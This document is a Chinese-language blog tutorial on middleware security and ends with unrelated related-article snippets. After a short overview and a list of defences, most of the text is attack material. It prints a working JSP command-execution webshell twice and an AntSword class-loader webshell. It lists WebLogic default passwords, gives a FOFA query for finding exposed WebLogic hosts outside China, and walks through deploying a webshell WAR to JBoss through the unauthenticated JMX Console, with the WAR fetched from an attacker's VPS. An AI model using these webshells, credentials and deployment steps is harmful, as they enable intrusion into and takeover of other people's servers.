当前位置: 首页 > news >正文

中间件安全

一.中间件概述

1.中间件定义

  • 介绍:中间件(Middleware)作为一种软件组件,在不同系统、应用程序或服务间扮演着数据与消息传递的关键角色。它常处于应用程序和操作系统之间,就像一座桥梁,负责不同应用程序间的数据传递、通信协调以及网络请求处理

2.中间件的架构与功能

  1. 插件式架构:中间件采用插件式架构,这使得开发人员能轻松将其集成到现有的应用程序里,大大提升了开发的灵活性。

  2. 多样化功能

    • 身份验证与授权:通过身份验证确认用户合法性,再依据授权机制分配不同权限,确保只有合法且权限匹配的用户能访问特定资源。比如企业办公系统,员工凭借用户名和密码登录(身份验证),不同级别员工拥有不同操作权限(授权)。
    • 缓存:缓存常用数据,减少对后端数据库等存储的频繁访问,显著提高系统响应速度。如新闻类应用,将热门文章缓存,用户再次浏览时可快速加载。
    • 负载均衡:把网络请求均匀分散到多个服务器,避免单个服务器负载过重,保障系统在高并发下的稳定运行。以大型电商平台为例,促销活动期间大量用户访问,负载均衡器将请求合理分配。
    • 日志记录:详细记录系统运行中的各类事件,为故障排查、安全审计提供有力依据。如记录服务器上用户的操作行为、登录时间等。
    • 安全性保障:提供基础的安全防护,抵御部分常见网络攻击。

3.中间件范畴

  1. 广义范畴:从广义视角,中间件涵盖了 Web 服务器、身份验证系统、消息传递工具等众多内容。
  2. 具体产品:常见的中间件产品包括 jboss、weblogic、tomcat、apache 等。应用中间件能够有效提升应用程序在可扩展性、可靠性、可维护性以及安全性方面的表现。

二.漏洞剖析

1.漏洞危害

  • 介绍:中间件漏洞指的是中间件软件中存在的安全隐患,攻击者可能利用这些漏洞对系统展开攻击与渗透,从而危及系统安全和数据完整性。

2.漏洞类型

  1. 代码注入漏洞:攻击者向中间件发送恶意代码,借此执行任意代码或获取敏感数据。例如,早期一些未严格过滤输入的 Web 应用,攻击者通过在输入框注入代码,获取数据库关键信息。
  2. 跨站脚本漏洞(XSS):攻击者在中间件输出的网页中插入恶意脚本,可窃取用户信息,如会话 Cookie,或进行恶意重定向等行为。一些小型论坛因缺乏对用户输入内容的有效过滤,曾遭受此类攻击。
  3. SQL 注入漏洞:在中间件处理 SQL 查询时,攻击者插入恶意代码,实现执行任意 SQL 查询,获取数据库敏感数据。如某些管理系统,因对用户输入的查询条件未做严格验证,导致数据库被非法访问。
  4. 认证和授权漏洞:攻击者利用中间件认证与授权机制的缺陷,绕过访问控制,获取系统高级权限。比如某些系统中,攻击者通过篡改认证令牌获取管理员权限。
  5. 文件包含漏洞:攻击者利用中间件的文件包含功能,引入恶意文件并执行其中代码。在一些内容管理系统中,攻击者通过此漏洞上传恶意脚本文件,实现对系统的控制。

3.防御措施

  1. 安全编码:开发人员遵循安全编码规范,对用户输入进行严格验证和过滤,从源头防止恶意代码注入。
  2. 定期更新:及时安装中间件供应商发布的安全补丁,修复已知漏洞,保持中间件的安全性。
  3. 权限管理:合理设置用户权限,遵循最小权限原则,仅赋予用户完成任务所需的最低权限。
  4. 防火墙配置:通过配置防火墙,对中间件的网络访问进行精细控制,阻挡外部非法访问。
  5. 漏洞扫描:借助专业的漏洞扫描工具,定期对中间件进行全面检测,及时发现并修复潜在漏洞。

三.中间件漏洞

1.Tomcat

A.Tomcat
  • 介绍:Tomcat 是一个开源的 Java Servlet 容器,由 Apache 软件基金会开发。Tomcat 对多种 Java 技术提供支持,包括 Java Servlet、JavaServer Pages(JSP)、Java Expression Language(EL)和 WebSocket 等 ,并且拥有许多企业级特性,如集群、安全性和可扩展性,这使其在 Java Web 开发中应用广泛。

  • 使用:

    • 可作为独立的 Web 服务器或应用服务器运行。
    • 也能作为插件集成到其他 Web 服务器,例如 Apache HTTP Server。
B.WAR包
  • 介绍:WAR(Web Application Archive)是 Web 应用程序的一种打包格式,作用是将 Web 应用程序打包成单个文件,极大地方便了应用程序的部署与分发。从本质上讲,WAR 文件属于 JAR(Java Archive)文件的一种,其中包含了 Web 应用程序运行所需的全部内容。

    • 代码相关:Java 类文件,是应用程序逻辑实现的核心部分。
    • 页面相关:HTML、JSP 文件,用于构建用户界面,展示内容给用户。
    • 配置相关:Servlet、XML 配置文件(如 web.xml、context.xml 等),用于配置 Web 应用程序的各种参数和运行规则,决定应用程序如何运行。
    • 静态资源:包含图片、CSS、JavaScript 文件等,用于美化界面和实现交互功能。
C.WAR包上传
  1. 制作WAR包:将jsp木马文件进行压缩后,将压缩文件 .zip​ 改为 .war​

    • jsp文件内容:

      <%@ page import="java.io.BufferedReader, java.io.InputStreamReader, java.io.IOException" %>
      <%String cmd = request.getParameter("cmd");if (cmd != null) {try {Process process = Runtime.getRuntime().exec(cmd);BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));String line;while ((line = reader.readLine()) != null) {out.println(line);  // 输出命令执行结果}reader.close();  // 关闭资源} catch (IOException e) {out.println("Error executing command: " + e.getMessage());}}
      %>
      
  2. 找到上传点进行上传


  3. 上传成功

  4. 调用一句话木马文件,并成功执行命令


2.Weblogic

  • 介绍: WebLogic Server​ 是美国甲骨文(Oracle​)公司开发的一款适用于云环境和传统环境的应用服务中间件,确切的说是一个基于 JavaEE​ 架构的中间件,它提供了一个现代轻型开发平台,用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和 Java Enterprise​ 标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

  • 特征

    1. 默认端口:7001

    2. Web界面:Error 404--Not Found


    3. 控制后台:http://ip:7001/console

  • 历史漏洞


  • 影响版本

    • 10.3.6.0
      12.1.3.0
      12.2.1.1
      12.2.1.2
      12.2.1.3
      14.1.1.0

  • 漏洞寻找

    1. 获取资产:shodan、fofa、zoomeye等

      • 示例:fofa:app="BEA-WebLogic-Server" && country!="CN"​
    2. 批量扫描脚本:Weblogic一键漏洞检测工具_V1.5

  • 漏洞环境搭建

    • docker pull vulhub/weblogic:10.3.6.0-2017

      docker run -dit -p 7001:7001 vulhub/weblogic:10.3.6.0-2017

A.弱口令
  • 介绍:Weblogic存在管理后台,通过账号密码登录,由于管理员的疏忽,经常会使用弱口令,或者默认的账户名密码。

    • 默认账密

      访问路径:/console

      账号:weblogic

      密码:Oracle@123

  • ​Weblogic​ 默认口令:

    • system/password

      system/Passw0rd

      weblogic/weblogic

      admin/security

      joe/password

      mary/password

      system/security

      wlcsystem/wlcsystem

      wlpisystem/wlpisystem

      • 参考链接:https://cirt.net/passwords?criteria=weblogic
B.GetShell
  1. 准备 .jsp​ 一句话木马文件

    • <%@ page import="java.io.BufferedReader, java.io.InputStreamReader, java.io.IOException" %>
      <%String cmd = request.getParameter("cmd");if (cmd != null) {try {Process process = Runtime.getRuntime().exec(cmd);BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));String line;while ((line = reader.readLine()) != null) {out.println(line);  // 输出命令执行结果}reader.close();  // 关闭资源} catch (IOException e) {out.println("Error executing command: " + e.getMessage());}}
      %>
      
  2. 登录后台后,点击部署​

  3. 点击安装

  4. 点击上载文件

  5. 上传完,并测试

  6. getshell

    • 注意:上面的 .jsp​ 文件不支持蚁剑,蚁剑连接必须使用下面的 yijian.jsp​ 或蚁剑插件生成的jsp webshell

      • <%@ page import="java.lang.reflect.Method" %>
        <%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
        %><%String cls = request.getParameter("ant");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
        %>

3.JBoss漏洞

  • 介绍:JBoss是一个用于管理EJB(Enterprise JavaBeans)的容器和服务器。它专注于企业级Java应用的开发与部署,本身核心服务并不包含支持servlet/JSP的WEB容器,在实际应用中,通常会与Tomcat或Jetty绑定使用 ,就如同Apache是常见的web服务器,而JBoss则是专门用来运行Java EE程序的应用服务器。

  • 历史漏洞

    1. 访问控制不严导致的漏洞

      • JMX Console 未授权访问 Getshell:Jboss 的 webUI 界面http://ip:port/jmx-console​存在未授权访问情况,甚至部分存在默认密码admin/admin​。这一漏洞会导致 JBoss 的部署管理信息泄露,攻击者还能借此直接上传木马获取 webshell。
      • Administration Console 弱口令 Getshell:由于用户设置的口令强度不足,攻击者通过简单的猜测或暴力破解,利用弱口令登录 Administration Console,进而获取服务器权限,实现 Getshell。
      • CVE - 2007 - 1036 -- JMX Console HtmlAdaptor Getshell:此漏洞与 JMX Console 的 HtmlAdaptor 相关,攻击者利用该漏洞可以在未授权的情况下获取服务器的控制权,实现 Getshell 操作。
      • CVE - 2010 - 0738 -- JMX 控制台安全验证绕过漏洞:通过特定的手段,攻击者能够绕过 JMX 控制台的安全验证机制,获取对控制台的访问权限,从而进一步实施攻击行为。
    2. 反序列化漏洞

      • CVE - 2013 - 4810 -- JBoss EJBInvokerServlet 反序列化漏洞:JBoss 的 EJBInvokerServlet 存在反序列化漏洞,攻击者可以构造恶意的反序列化数据,利用该漏洞执行任意代码,进而控制服务器。
      • CVE - 2015 - 7501 -- JBoss JMXInvokerServlet 反序列化漏洞:在 JMXInvokerServlet 中,由于反序列化机制的缺陷,攻击者可以发送精心构造的请求,触发反序列化漏洞,实现对服务器的攻击。
      • CVE - 2017 - 7504 -- JBoss 4.x JBossMQ JMS 反序列化漏洞:针对 JBoss 4.x 版本的 JBossMQ JMS 组件,存在反序列化漏洞,攻击者可以利用该漏洞进行远程代码执行,对服务器造成严重威胁。
      • CVE - 2017 - 12149 -- JBosS AS 6.X 反序列化漏洞:在 JBosS AS 6.X 版本中,存在反序列化漏洞,攻击者可以通过发送恶意请求,利用该漏洞获取服务器的控制权。
  • JBoss 漏洞检测工具:一个简单探测jboss漏洞的工具

A.JMX Console 未授权访问漏洞利用
  1. 漏洞利用工具

    • 自动化利用:使用https://gitee.com/yijingsec/JbossVulExploit​进行自动化利用。具体步骤如下:

      • 首先,将文件夹里的bx3.war​放到自己的公网服务器上,然后使用 python 启动一个 http 服务,用于提供 war 包的下载。
      • 运行脚本,在脚本中设置Set target url​为目标网站,Set vps ip​为 war 包所在的 http 服务的 ip,Set vps httpServer port​为所启动的 http 服务的端口。完成设置后,即可自动利用漏洞进行攻击,攻击成功后,可使用冰蝎进行连接,获取服务器的控制权。
  2. 手动利用

    • 远程部署 war 包:

      • 找到jboss.deployment​选项(Jboss 自带的部署功能)中的flavor = URL,type = DeploymentScanner​点进去(通过 url 的方式远程部署)。也可以直接输入以下 URL 进入:http://xx.xx.xx.xx:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL​。

      • 进入页面后找到void addURL()​,开始部署远程的 war 包木马。具体操作如下:

        • 打包 jsp 马为 war 包:jar -cvf shell.war shell.jsp​
        • 在 vps 上启动 web 服务:python -m http.server​
        • 确定 war 包下载地址:http://vps - IP:8000/shell.war​
        • 点击Invoke​部署 war 包。
      • 随后点击Back to MBean View​来到URLList​中查看Value​值是否已经部署好,并且为远程 war 木马地址。

      • 最后点击Apply Changes​后耐心等待一会儿(等待时间较长),然后回到JMX - Console​目录中,找到jboss.web.deployment​查看是否存在部署的 war 木马。若存在,则表示部署成功,攻击者可以进一步利用该 war 包获取服务器的控制权。

相关文章:

中间件安全

一.中间件概述 1.中间件定义 介绍&#xff1a;中间件&#xff08;Middleware&#xff09;作为一种软件组件&#xff0c;在不同系统、应用程序或服务间扮演着数据与消息传递的关键角色。它常处于应用程序和操作系统之间&#xff0c;就像一座桥梁&#xff0c;负责不同应用程序间…...

从根源分析,调试,定位和解决MacOS ld: unsupported tapi file type ‘!tapi-tbd‘ in YAML file

你要是遇到同样错误&#xff0c;找一圈都没有解决&#xff0c;建议认真读一下本文&#xff0c;这个应该是最终极的解决办法&#xff0c;从原理上剖析了产生的原因&#xff0c;同时给出来了调试和定位的办法。 maccos使用brew安装了一个gcc14, 结果编译一个最简单的程序都报错&a…...

Linux的权限和一些shell原理

目录 shell的原理 Linux权限 sudo命令提权 权限 文件的属性 ⽂件类型&#xff1a; 基本权限&#xff1a; chmod改权限 umask chown 该拥有者 chgrp 改所属组 最后&#xff1a; 目录权限 粘滞位 shell的原理 我们广义上的Linux系统 Linux内核Linux外壳 Linux严格…...

构建企业级React应用的进阶实践

构建企业级React应用的进阶实践 在当今前端开发领域&#xff0c;React凭借其组件化架构和声明式编程范式&#xff0c;已成为构建复杂用户界面的首选方案。本文将深入探讨React的高级应用场景&#xff0c;通过一系列精心设计的代码示例&#xff0c;展示如何打造高性能、可维护的…...

2024年度总结:技术探索与个人成长的交织

文章目录 前言年度创作回顾&#xff1a;技术深耕与分享数据库技术&#xff1a;MySQL 与 MyBatisJava 及相关技术栈计算机网络&#xff1a;构建网络知识体系思维方式的转变&#xff1a;构建技术知识体系的桥梁 项目实践&#xff1a;人工智能与智慧医疗的碰撞生活与博客的融合与平…...

mysql-06.JDBC

目录 什么是JDBC: 为啥存在JDBC: JDBC工作原理&#xff1a; JDBC的优势&#xff1a; 下载mysql驱动包&#xff1a; 用java程序操作数据库 1.创建dataSource: 2.与服务端建立连接 3.构造sql语句 4.执行sql 5.关闭连接&#xff0c;释放资源 参考代码&#xff1a; 插…...

arm-linux平台、rk3288 SDL移植

一、所需环境资源 1、arm-linux交叉编译器&#xff0c;这里使用的是gcc-linaro-6.3.1 2、linux交叉编译环境&#xff0c;这里使用的是Ubuntu 20.04 3、sdl2源码 https://github.com/libsdl-org/SDL/archive/refs/tags/release-2.30.11.tar.gz 二、代码编译 1、解压sdl2源码…...

CentOS 上安装 Go (Golang)

1. 检查系统环境 确保系统为 CentOS 7 或 CentOS 8&#xff0c;或者其他兼容的 Linux 发行版。 cat /etc/os-release2. 安装依赖 安装一些必要的工具&#xff1a; sudo yum update -y sudo yum install -y wget tar3. 下载 Go 从 Go 官方下载页面获取适用于 Linux 的最新版…...

小哆啦解题记:整数转罗马数字

小哆啦解题记&#xff1a;整数转罗马数字 小哆啦开始力扣每日一题的第十四天 https://leetcode.cn/problems/integer-to-roman/submissions/595220508/ 第一章&#xff1a;神秘的任务 一天&#xff0c;哆啦A梦接到了一项任务——将一个整数转换为罗马数字。他心想&#xff1a;…...

碰撞体问题

用点检测2d物体是否有物体 功能要求是点击空白处取消选中&#xff0c;点击棋子选中所以我做了一个射线检测。但是脑子的惯性让我用的是3D的射线检测。但我们这是一个2D游戏啊。 Vector3 mousePos pos;mousePos.z 10f; // 假设你需要转换到距离相机10单位的世界位置Vector3 …...

HTML<label>标签

例子 三个带标签的单选按钮&#xff1a; <form action"/action_page.php"> <input type"radio" id"html" name"fav_language" value"HTML"> <label for"html">HTML</label><br&…...

「 机器人 」利用数据驱动模型替代仿真器:加速策略训练并降低硬件依赖

前言 在强化学习(Reinforcement Learning, RL)中,策略训练需要大量的交互数据(状态、动作、奖励、下一状态),而这些数据通常来自仿真器或真实硬件。传统高保真仿真器虽然能在一定程度上模拟飞行器的动力学,但往往计算量大、开发成本高,且仍可能与真实环境存在差距。为此…...

.Net Core微服务入门全纪录(六)——EventBus-事件总线

系列文章目录 1、.Net Core微服务入门系列&#xff08;一&#xff09;——项目搭建 2、.Net Core微服务入门全纪录&#xff08;二&#xff09;——Consul-服务注册与发现&#xff08;上&#xff09; 3、.Net Core微服务入门全纪录&#xff08;三&#xff09;——Consul-服务注…...

QD Laser携“Lantana”激光器参展SPIE光子学西部展2025,聚焦紧凑型设计

据悉&#xff0c;QD Laser公司将在2025年SPIE光子学西部展览会上展出其最新产品——世界最小一体化紧凑型可见光激光器“Lantana”。该展会将于1月28日至30日在旧金山的Moscone中心举行。 在展会期间&#xff0c;QD Laser公司将现场展示这款超小型、轻便设备—— “Lantana”。…...

Docker + Nginx 部署个人静态博客指南

本文是一个使用 Docker 和 Nginx 部署个人静态博客的指南。通过本指南&#xff0c;您可以快速了解如何使用 Docker 和 Nginx 部署自己的静态博客网站。 前提 在开始使用本指南之前&#xff0c;请具备以下前提&#xff1a; 首先你得有个服务器服务器已经安装好Git、Vim等工具一…...

springboot3 集成 knife4j(接口文档)

提示&#xff1a;文章是集成 knife4j&#xff0c;而非 swagger2 或者 swagger3&#xff0c;效果如图 文章目录 前言一、添加依赖二、如何集成1.配置文件2.注解部分1.Tag2.Operation3.Parameter4.Schema 3.使用 总结 前言 提示&#xff1a;&#xff1a;大家在开发阶段&#xff…...

批量创建ES索引

7.x from elasticsearch import Elasticsearch# 配置 Elasticsearch 连接 # 替换为你的 Elasticsearch 地址、端口、用户名和密码 es Elasticsearch([http://10.10.x.x:43885],basic_auth(admin, XN272G9THEAPYD5N5QORX3PB1TSQELLB) )# # 测试连接 # try: # # 尝试获取集…...

单路由及双路由端口映射指南

远程登录总会遇到登陆不上的情况&#xff0c;可能是访问的大门没有打开哦&#xff0c;下面我们来看看具体是怎么回事&#xff1f; 当软件远程访问时&#xff0c;主机需要两个条件&#xff0c;一是有一个唯一的公网IP地址&#xff08;运营商提供&#xff09;&#xff0c;二是开…...

基于Springboot + vue实现的民俗网

“前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站&#xff1a;人工智能学习网站” &#x1f496;学习知识需费心&#xff0c; &#x1f4d5;整理归纳更费神。 &#x1f389;源码免费人人喜…...

動態住宅IP提升網站訪問成功率

動態住宅IP通常與普通家庭用戶的網路連接相關聯。這種IP地址的特點在於&#xff0c;它是動態變化的&#xff0c;用戶在每次連接時可能會獲得不同的IP地址。這與靜態IP形成了鮮明對比&#xff0c;後者在連接期間保持不變。傳統上&#xff0c;IP地址分為住宅IP和數據中心IP兩類。…...

Java集合学习:HashMap的原理

一、HashMap里的Hash是什么&#xff1f; 首先&#xff0c;我们先要搞清楚HashMap里的的Hash是啥意思。 当我们在编程过程中&#xff0c;往往需要对线性表进行查找操作。 在顺序表中查找时&#xff0c;需要从表头开始&#xff0c;依次遍历比较a[i]与key的值是否相等&#xff…...

使用rsync+inotify简单实现文件实时双机双向同步

使用rsyncinotify简单实现文件实时双机双向同步 实现思路 使用inotify-tools的inotifywait工具监控文件变化&#xff0c;触发后使用rsync做同步。加入系统服务项&#xff0c;实现实时监听&#xff0c;方便管理。 以下配置操作&#xff0c;单向同步&#xff0c;只需在单边部…...

[JavaScript] ES6及以后版本的新特性

文章目录 箭头函数&#xff08;Arrow Functions&#xff09;为什么需要箭头函数&#xff1f;箭头函数的完整语法箭头函数中的 this实用场景 解构赋值&#xff08;Destructuring Assignment&#xff09;为什么需要解构赋值&#xff1f;数组解构赋值的完整用法对象解构赋值的完整…...

IO进程 寒假作业

一、请使用消息队列实现2个终端之间互相聊天 #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <sys/wait.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> …...

无公网IP 外网访问媒体服务器 Emby

Emby 是一款多媒体服务器软件&#xff0c;用户可以在 Emby 创建自己的个人多媒体娱乐中心&#xff0c;并且可以跨多个设备访问自己的媒体库。它允许用户管理传输自己的媒体内容&#xff0c;比如电影、电视节目、音乐和照片等。 本文将详细的介绍如何利用 Docker 在本地部署 Emb…...

【2025小年源码免费送】

&#x1f496;学习知识需费心&#xff0c; &#x1f4d5;整理归纳更费神。 &#x1f389;源码免费人人喜&#xff0c; &#x1f525;码农福利等你领&#xff01; &#x1f496;山高路远坑又深&#xff0c; &#x1f4d5;大军纵横任驰奔&#xff0c; &#x1f389;谁敢横刀立马行…...

哈希表示例

示例1 两数之和 "两数之和"&#xff08;Two Sum&#xff09;是LeetCode上的一个经典算法问题&#xff0c;编号为1&#xff0c;它要求在一个整数数组nums中找到两个不同的索引i和j&#xff0c;使得nums[i] nums[j] target。 问题描述&#xff1a; 给定一个整数数…...

VS企业版和专业版的区别

网上查询vs分析dump文件&#xff0c;查找托管内存泄露&#xff0c;需要使用“调试托管内存”功能&#xff0c;当前安装的vs2022 专用版找不到这个选项&#xff0c;vs2015是ok的&#xff0c;比较版本发现2022是专业版&#xff0c;2015是企业版。网上搜索专业版和企业版差异如下&…...

YOLOv10-1.1部分代码阅读笔记-train.py

train.py ultralytics\models\yolov10\train.py 目录 train.py 1.所需的库和模块 2.class YOLOv10DetectionTrainer(DetectionTrainer): 1.所需的库和模块 from ultralytics.models.yolo.detect import DetectionTrainer from .val import YOLOv10DetectionValidator fr…...

autogen 自定义agent (1)

目录 第一个自定义agent&#xff1a;CountDownAgent代码运行逻辑1. 创建 CountDownAgent 代理2. 处理消息3. 运行 CountDownAgent 另一种调用方式类似的agent: CountUpAgent 第一个自定义agent&#xff1a;CountDownAgent from typing import AsyncGenerator, List, Sequence,…...

ssh密钥登录GitHub时一直提示“Error: Permission denied (publickey)”

起因 环境&#xff1a;Windows10 背景&#xff1a;之前就是按照官方说明创建个rsa密钥&#xff0c;在git后台添加上&#xff0c;就行了&#xff0c;近期怎么添加怎么失败&#xff0c;总是“Error: Permission denied (publickey)”的提示&#xff01; 尝试 各种尝试&#xf…...

多模态数据融合的基本流程与关键环节

多模态数据融合作为人工智能的重要技术方向&#xff0c;不仅整合了视觉、语言、语音、传感器等多种模态的数据&#xff0c;还通过合理的融合方法让机器获得更全面的感知能力。那么&#xff0c;多模态数据融合的过程是怎样的&#xff1f;有哪些关键环节需要注意&#xff1f;今天…...

k8s 蓝绿发布、滚动发布、灰度发布

在Kubernetes&#xff08;k8s&#xff09;中&#xff0c;蓝绿发布、滚动发布、灰度发布&#xff08;金丝雀发布&#xff09;是三种常见的应用部署和更新策略。下面将分别对这几种发布方式进行说明&#xff0c;并给出相应的例子。 蓝绿发布 蓝绿发布是一种无缝切换版本的部署策…...

【PyCharm】连接Jupyter Notebook

【PyCharm】相关链接 【PyCharm】连接 Git【PyCharm】连接Jupyter Notebook【PyCharm】快捷键使用【PyCharm】远程连接Linux服务器【PyCharm】设置为中文界面 【PyCharm】连接Jupyter Notebook PyCharm连接Jupyter Notebook的过程可以根据不同的需求分为 本地连接 和 远程连…...

【miniconda】:langraph的windows构建

langraph需要python3.11 langraph强烈建议使用py3.11 默认是3.12 官方 下载仓库 下载老版本的python (后续发现新版miniconda也能安装老版本的python) 在这里...

NRF52840 USB Dongle 进行蓝牙抓包

1、可视化抓包 官方的工具 链接&#xff1a;RF Connect for Desktop &#xff0c;之后使用 bluetooth Low Energy 即可查看抓包数据。不做说明。 本节主要说明&#xff0c;使用wireshark进行抓包数据的显示。 1.1、硬件 Nordic Semiconductor 官网链接 的截图如下。国内封装…...

【C++】详细讲解继承(下)

本篇来继续说说继承。上篇可移步至【C】详细讲解继承&#xff08;上&#xff09; 1.继承与友元 友元关系不能继承 &#xff0c;也就是说基类友元不能访问派⽣类私有和保护成员。 class Student;//前置声明class Same //基类 { public:friend void Fun(const Same& p, con…...

OS Copilot功能测评:智能助手的炫彩魔法

简介&#xff1a; OS Copilot 是一款融合了人工智能技术的智能助手&#xff0c;专为Linux系统设计&#xff0c;旨在提升系统管理和运维效率。本文详细介绍了在阿里云ECS实例上安装和体验OS Copilot的过程&#xff0c;重点评测了其三个核心参数&#xff1a;-t&#xff08;模式…...

Gin 学习笔记

教程地址&#xff1a;https://www.bilibili.com/video/BV1FV4y1C72M?spm_id_from333.788.videopod.sections&vd_source707ec8983cc32e6e065d5496a7f79ee6 01-项目搭建 各常用目录的说明&#xff1a; https://github.com/golang-standards/project-layout/blob/master/REA…...

windows在命令行中切换盘符

一、问题描述 我们在使用windows的cmd&#xff08;命令行&#xff09;时&#xff0c;经常需要用cd命令在不同盘之间切换路径。但有时在不同盘之间切换时&#xff0c;会发现命令不起作用。 如下图所示&#xff0c;直接切换目录还是停留在原来的位置。 二、解决方法 首先切换盘符…...

OpenAI模块重构

文章目录 1.common-openai-starter1.目录结构2.OpenAiProperties.java 新增apiUrl3.OpenAIAutoConfiguration.java4.OpenAiClient.java 使用gson重构 2.common-openai-starter-demo1.目录结构2.application.yml 新增api-url3.OpenAiController.java4.OpenAiApplication.java5.测…...

表的增删改查(MySQL)

1. 表的增删改查 CRUD : Create(创建), Retrieve(读取)&#xff0c;Update(更新)&#xff0c;Delete&#xff08;删除&#xff09; 1.1 Create 语法&#xff1a; INSERT [INTO] table_name [(column [, column] ...)] VALUES (value_list) [, (value_list)] ...value_list:…...

Go 不可重复协程安全队列

代码实现 package dataStructimport ("errors""sync" )// GenericQueue 是一个支持泛型的不可重复队列&#xff0c;具有最大长度限制 // T 是泛型参数 type GenericQueue[T comparable] struct {items map[T]struct{} // 使用 map 来存储元素order []…...

每日一题 419. 棋盘上的战舰

419. 棋盘上的战舰 简单 class Solution { public:int countBattleships(vector<vector<char>>& board) {int ans 0;for(int i0;i<board.size();i){for(int j0;j<board[0].size();j){if(board[i][j] X){dfs(board,i,j);ans;}}}return ans;}void dfs(…...

spring cloud alibaba 使用示例

spring cloud alibaba example spring cloud alibaba nacos 配置中心、spring cloud alibaba nacos 服务注册与发现、openfeign 服务调用、spring cloud loadbalancer 负载均衡、spring cloud alibaba sentinel 限流降级、spring cloud alibaba seata 分布式事务、spring clou…...

Python数据分析-Python语法基础,IPython和Jupyter-Notebooks(二)

title: ‘Python数据分析:Python语法基础&#xff0c;IPython和Jupyter Notebooks&#xff08;二&#xff09;’ tags: python数据分析 categories:python数据分析 keywords:python数据分析 cover: …/img/404_icecream_whale.png description: 本文介绍python的基础语法和jup…...

领域驱动设计(DDD)Spring Boot 3 实现 二

使用 Spring Boot 3 实现领域驱动设计&#xff08;DDD&#xff09;是一种很自然的选择&#xff0c;因为 Spring 提供了良好的生态支持&#xff0c;特别是在分层架构、依赖管理、事件驱动等方面。以下是如何在 Spring Boot 3 中结合 DDD 进行开发的详细指南&#xff1a; 项目结构…...

Vue.js 高级组件开发

Vue.js 高级组件开发&#xff1a;构建一个智能动态表单生成器 ——从可复用架构到性能优化的全链路实践 引言&#xff1a;为什么需要高级组件&#xff1f; 在现代前端开发中&#xff0c;组件不仅是UI的封装&#xff0c;更是业务逻辑的载体。一个“高级”Vue组件应当具备&…...

wangEditor富文本编辑器,Laravel上传图片配置和使用

文章目录 前言步骤1. 构造好前端模版2. 搭建后端存储3. 调试 前言 由于最近写项目需要使用富文本编辑器&#xff0c;使用的是VUE3.0版本所以很多不兼容&#xff0c;实际测试以后推荐使用wangEditor 步骤 构造好前端模版搭建后端存储调试 1. 构造好前端模版 安装模版 模版安…...

Hive之加载csv格式数据到hive

场景&#xff1a; 今天接了一个需求&#xff0c;将测试环境的hive数据导入到正式环境中。但是不需要整个流程的迁移&#xff0c;只需要迁移ads表 解决方案&#xff1a; 拿到这个需求首先想到两个方案&#xff1a; 1、将数据通过insert into语句导出&#xff0c;然后运行脚本 …...